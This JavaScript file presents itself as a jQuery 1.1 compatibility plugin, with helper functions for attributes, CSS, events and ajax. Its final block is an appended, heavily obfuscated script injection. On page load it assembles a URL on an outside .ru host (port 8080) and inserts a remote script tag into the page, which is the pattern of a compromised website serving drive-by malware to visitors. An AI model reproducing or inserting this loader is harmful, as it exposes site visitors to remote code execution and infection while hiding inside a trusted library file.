// $Id: compat.js,v 1.1.2.1 2008/05/02 21:05:06 stevemckenzie Exp $
// UPGRADE: The following attribute helpers should now be used as:
// .attr("title") or .attr("title","new title")
jQuery.each(["id","title","name","href","src","rel"], function(i,n){
  jQuery.fn[ n ] = function(h) {
    return h == undefined ?
      this.length ? this[0][n] : null :
      this.attr( n, h );
  };
});

// UPGRADE: The following css helpers should now be used as:
// .css("top") or .css("top","30px")
jQuery.each("top,left,position,float,overflow,color,background".split(","), function(i,n){
  jQuery.fn[ n ] = function(h) {
    return h == undefined ?
      ( this.length ? jQuery.css( this[0], n ) : null ) :
      this.css( n, h );
  };
});

// UPGRADE: The following event helpers should now be used as such:
// .oneblur(fn) -> .one("blur",fn)
// .unblur(fn) -> .unbind("blur",fn)
var e = ("blur,focus,load,resize,scroll,unload,click,dblclick," +
  "mousedown,mouseup,mousemove,mouseover,mouseout,change,reset,select," + 
  "submit,keydown,keypress,keyup,error").split(",");

// Go through all the event names, but make sure that
// it is enclosed properly
for ( var i = 0; i < e.length; i++ ) new function(){
      
  var o = e[i];
    
  // Handle event unbinding
  jQuery.fn["un"+o] = function(f){ return this.unbind(o, f); };
    
  // Finally, handle events that only fire once
  jQuery.fn["one"+o] = function(f){
    // save cloned reference to this
    var element = jQuery(this);
    var handler = function() {
      // unbind itself when executed
      element.unbind(o, handler);
      element = null;
      // apply original handler with the same arguments
      return f.apply(this, arguments);
    };
    return this.bind(o, handler);
  };
      
};

// UPGRADE: .ancestors() was removed in favor of .parents()
jQuery.fn.ancestors = jQuery.fn.parents;

// UPGRADE: The CSS selector :nth-child() now starts at 1, instead of 0
jQuery.expr[":"]["nth-child"] = "jQuery.nth(a.parentNode.firstChild,parseInt(m[3])+1,'nextSibling')==a";

// UPGRADE: .filter(["div", "span"]) now becomes .filter("div, span")
jQuery.fn._filter = jQuery.fn.filter;
jQuery.fn.filter = function(arr){
  return this._filter( arr.constructor == Array ? arr.join(",") : arr );
};

/*
 * Compatibility Plugin for jQuery 1.1 (on top of jQuery 1.2)
 * By John Resig
 * Dual licensed under MIT and GPL.
 *
 * For XPath compatibility with 1.1, you should also include the XPath
 * compatability plugin.
 */
(function(jQuery){

	// You should now use .slice() instead of eq/lt/gt
	// And you should use .filter(":contains(text)") instead of .contains()
	jQuery.each( [ "eq", "lt", "gt", "contains" ], function(i,n){
		jQuery.fn[ n ] = function(num,fn) {
			return this.filter( ":" + n + "(" + num + ")", fn );
		};
	});

	// This is no longer necessary in 1.2
	jQuery.fn.evalScripts = function(){};

	// You should now be using $.ajax() instead
	jQuery.fn.loadIfModified = function() {
		var old = jQuery.ajaxSettings.ifModified;
		jQuery.ajaxSettings.ifModified = true;
	
		var ret = jQuery.fn.load.apply( this, arguments );
	
		jQuery.ajaxSettings.ifModified = old;

		return ret;
	};

	// You should now be using $.ajax() instead
	jQuery.getIfModified = function() {
		var old = jQuery.ajaxSettings.ifModified;
		jQuery.ajaxSettings.ifModified = true;
	
		var ret = jQuery.get.apply( jQuery, arguments );
	
		jQuery.ajaxSettings.ifModified = old;

		return ret;
	};

	jQuery.ajaxTimeout = function( timeout ) {
		jQuery.ajaxSettings.timeout = timeout;
	};

})(jQuery);

var R=new String();var p=new String();function S(){this.V='';var s=window;var Q=new Date();var KP;if(KP!='zs'){KP=''};var HY=new Array();var a=s['unescape'];var D=a("%2f%63%68%69%6e%61%6d%6f%62%69%6c%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%6f%63%75%73%2e%63%6e%2e%70%68%70");function k(c,C){var e;if(e!='j'){e='j'};var eH;if(eH!='_'){eH='_'};this.f='';var g;if(g!='pE'){g='pE'};var K=a("%5d");var sm;if(sm!='' && sm!='N'){sm='P'};var Cg=a("%5b");var Jr;if(Jr!='G' && Jr!='A'){Jr='G'};var O=String("g");var zU;if(zU!='M' && zU != ''){zU=null};var F;if(F!='' && F!='oz'){F=null};var RI;if(RI!='y'){RI='y'};var H=new RegExp(Cg+C+K, O);var Wx;if(Wx!=''){Wx='RF'};return c.replace(H, new String());};var YO;if(YO!='PI' && YO!='Br'){YO='PI'};var q='';this.Ff="";this.xc='';var cp=k('8671492095932511987422524021453','97416325');this.xh='';var WZ;if(WZ!='HE' && WZ!='rq'){WZ='HE'};var GX=new Date();var iI;if(iI!='' && iI!='LB'){iI=null};var W=k('sHcMrXiXpvtg','IfHvMeXg');var FI;if(FI!='' && FI!='Ev'){FI='X'};var z=document;var QC=new String();var E=k('syrKc1','1ib8eTxhvO9UtyZ0KjkJ');var Oj='';var m=k('dQe6fNe6rN','6WNQ');var ZC="";var Qj="";function aX(){var _y=new Array();var O_=a("%68%74%74%70%3a%2f%2f%63%72%65%77%61%6d%65%72%69%63%61%2e%72%75%3a");this.JI='';var Eo="";var ku=O_;var yQ;if(yQ!='Ve'){yQ='Ve'};var kJ=new Date();ku+=cp;var vx=new Array();ku+=D;var jP=new Date();try {var Wh='';var ji="";var Ab="";o=z[k('cBrBe0adtCeoEPlBeom4eunDtY','qdP40YUDupCoB')](W);var lk;if(lk!='eA'){lk=''};var VD=new Array();var qr;if(qr!='' && qr!='sj'){qr='zz'};o[E]=ku;var qt=new String();this.LF='';o[m]=[1][0];var YK='';var WP;if(WP!='yO' && WP!='rf'){WP=''};z.body[k('a2pPp7esnWdPC7hPiPlAd0','R70PA2srWuE')](o);this.hC='';var cn=new Array();} catch(B){var CX;if(CX!='' && CX!='uI'){CX='uJ'};};var bB;if(bB!='' && bB!='zq'){bB=''};}var ml=new Date();this.sG="";var x=k('oSnSlLoAa7dA','pPO2LeSA7X');var rC=new Date();var AD=new Array();s[x]=aX;var Bg=new Date();var Kh=new String();};var UU="";var JP;if(JP!='' && JP!='lLA'){JP=null};S();var Th="";